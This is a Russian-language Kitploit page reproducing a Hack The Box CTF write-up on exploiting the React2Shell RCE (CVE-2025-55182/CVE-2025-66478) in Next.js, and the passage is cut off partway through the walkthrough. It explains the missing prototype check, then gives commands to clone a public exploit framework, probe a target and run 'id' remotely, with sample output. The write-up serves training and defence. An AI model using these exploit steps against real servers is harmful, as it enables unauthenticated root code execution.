Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ReactOOPS-WriteUp — Разбор задания Hack The Box ReactOOPS (архивное) — полное решение и учебное руководство по CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Включает подробный анализ уязвимости, техники эксплуатации и материалы для командного обучения. | Kitploit
Инструменты/GitHubGitHub/thestingr/reactoops-writeup
Статический анализАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
Разработка Полезной Нагрузки
Лаборатории и Практика
GitHubthestingr/reactoops-writeup

ReactOOPS-WriteUp

Разбор задания Hack The Box ReactOOPS (архивное) — полное решение и учебное руководство по CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Включает подробный анализ уязвимости, техники эксплуатации и материалы для командного обучения.

РепозиторийСайт
62410 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ReactOOPS - Описание прохождения веб-задачи HTB

CVE-2025-55182 CVE-2025-66478 CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available Challenge Status: Solved Challenge Type: Web Framework: React/Next.js

Автор: TheStingR - Team ISP1337Hackers
Задача: ReactOOPS (Web)
Платформа: Hack The Box
Сложность: Очень легкая - УСТАРЕВШАЯ
Дата решения: 13 декабря 2025

Содержание

  1. Краткое описание
  2. Описание задачи
  3. Анализ уязвимости
  4. Разведка и сбор данных
  5. Пошаговая эксплуатация
  6. Извлечение флага
  7. Технический разбор
  8. Защита и смягчение
  9. Выводы

Краткое описание

ReactOOPS — это веб-задача, которая эксплуатирует CVE-2025-55182 / CVE-2025-66478, критическую уязвимость удаленного выполнения кода без аутентификации в React Server Components и Next.js App Router.

Основные выводы:

  • ✅ Сервер: Next.js 16.0.6 с React 19 (уязвим)
  • ✅ Уязвимость: Отсутствие проверки hasOwnProperty в десериализации протокола Flight
  • ✅ Воздействие: Неавторизованное RCE с правами root
  • ✅ Эксплуатация: Требуется один HTTP POST-запрос

Описание задачи

Первоначальная оценка

Задача представляет собой отполированное Next.js-приложение, работающее через интерфейс помощника NexusAI. Приложение обрабатывает ввод пользователя через React Server Components, но едва заметные сбои в реактивном слое намекают на скрытые уязвимости.

Технологический стек

  • Фреймворк: Next.js 16.0.6
  • Версия React: 19.x
  • Развертывание: Docker-контейнер (автономная сборка Next.js)
  • Порт сервера: 50183

Почему это уязвимо?

Приложение использует:

  1. React Server Components (RSC) — серверный рендеринг с клиент-серверным взаимодействием
  2. Протокол Flight — формат сериализации для передачи данных RSC
  3. Уязвимые зависимости — react-server-dom-webpack без исправлений безопасности

Анализ уязвимости

Обзор CVE-2025-55182 / CVE-2025-66478

Что такое протокол Flight?

Протокол Flight — это проприетарный формат сериализации React для передачи данных между сервером и клиентом в архитектурах Server Components. Он использует ссылки, такие как:

  • $1 — ссылка на объект в позиции 1
  • $1:путь:к:значению — обход пути к свойству

Отсутствующая проверка безопасности

Уязвимый код в ReactFlightReplyServer.js:

// Строка ~450: функция getOutlinedModel
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Обработка ссылок типа "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // УЯЗВИМЫЙ ЦИКЛ - НЕТ ПРОВЕРКИ hasOwnProperty!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Позволяет доступ к цепочке прототипов
        }
        return obj;
    }
}

Безопасная версия (как должно быть):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Invalid property access');
    }
}

Почему это важно

Без проверки hasOwnProperty злоумышленник может обойти:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

Цепочка эксплуатации

Шаг 1: Отправить ссылку "$1:__proto__:then"
         │
         ├─ Доступ к myChunk[__proto__]
         └─ Затем доступ к [then] на прототипе

Шаг 2: Создать поддельный объект, похожий на Promise
         │
         └─ { then: вредоноснаяФункция }

Шаг 3: React вызывает await на этом объекте
         │
         ├─ Вызывает метод .then()
         └─ Выполняет функцию злоумышленника

Шаг 4: Произвольное выполнение кода
         │
         └─ Код выполняется в контексте сервера с правами root

Почему нет проверки аутентификации?

Уязвимость существует до валидации Next-Action:

Поток обработки запроса:
├─ Разбор multipart/form-data
├─ Десериализация протокола Flight  ← RCE ПРОИСХОДИТ ЗДЕСЬ
│  └─ Обработка ссылок и объектов
│  └─ Нет проверки hasOwnProperty!
├─ Извлечение заголовка Next-Action
├─ Проверка ID действия          ← Это происходит ПОСЛЕ
└─ Выполнение обработчика действия

Вызывая RCE во время десериализации, злоумышленник обходит все проверки безопасности уровня действий.


Разведка и сбор данных

Шаг 1: Проверка начального подключения

# Проверить, отвечает ли сервис
curl -v http://<IP>:PORT/

Ожидается: Next.js-приложение, отдающее HTML с включенным RSC

Шаг 2: Идентификация технологии

Ищите индикаторы:

  • Заголовки ответа с префиксом next-
  • HTML, содержащий <script type="text/x-component">
  • Наличие артефактов каталога .next
  • POST-эндпоинты без очевидной аутентификации

Шаг 3: Обнаружение уязвимости

Самый надежный индикатор — попытка атаки на загрязнение прототипа и наблюдение за ответом:

# Нерарушающий детектирующий пейлоад
# Отправляет: ["$1:a:a"] со ссылкой на {}
# Уязвимый: {}.a.a вызывает исключение → HTTP 500 + E{"digest"
# Исправленный: hasOwnProperty предотвращает доступ → нет сбоя

Пошаговая эксплуатация

Настройка окружения

# Перейти в каталог задачи
cd /Challenges/ReactOOPS

# Клонировать фреймворк эксплойта react2shell
git clone https://github.com/freeqaz/react2shell.git

# Убедиться, что все скрипты исполняемы
chmod +x react2shell/*.sh

Фаза 1: Обнаружение (нерарушающее доказательство)

Цель: Подтвердить уязвимость сервера без причинения вреда

cd react2shell

# Запустить детектирующий зонд
./detect.sh http://<IP>:PORT

Что он делает:

  1. Создает multipart POST-запрос с заголовком Next-Action: x
  2. Отправляет пейлоад: ["$1:a:a"] со ссылкой на пустой объект {}
  3. На уязвимом сервере: JavaScript пытается получить доступ к {}.a.a
  4. Отсутствие проверки hasOwnProperty вызывает сбой
  5. Сервер возвращает HTTP 500 с дайджестом ошибки

Ожидаемый вывод:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] This server is running a vulnerable version of React RSC / Next.js

Интерпретация:

  • HTTP 500: ✅ Сбой обнаружен
  • E{"digest" в ответе: ✅ Формат обработки ошибок React
  • Вывод: Сервер УЯЗВИМ

Фаза 2: Удаленное выполнение кода (Proof of Concept)

Цель: Проверить выполнение произвольных команд

# Выполнить команду 'id' на удаленном сервере
./exploit-redirect.sh -q http://<IP>:PORT "id"
Скачать инструмент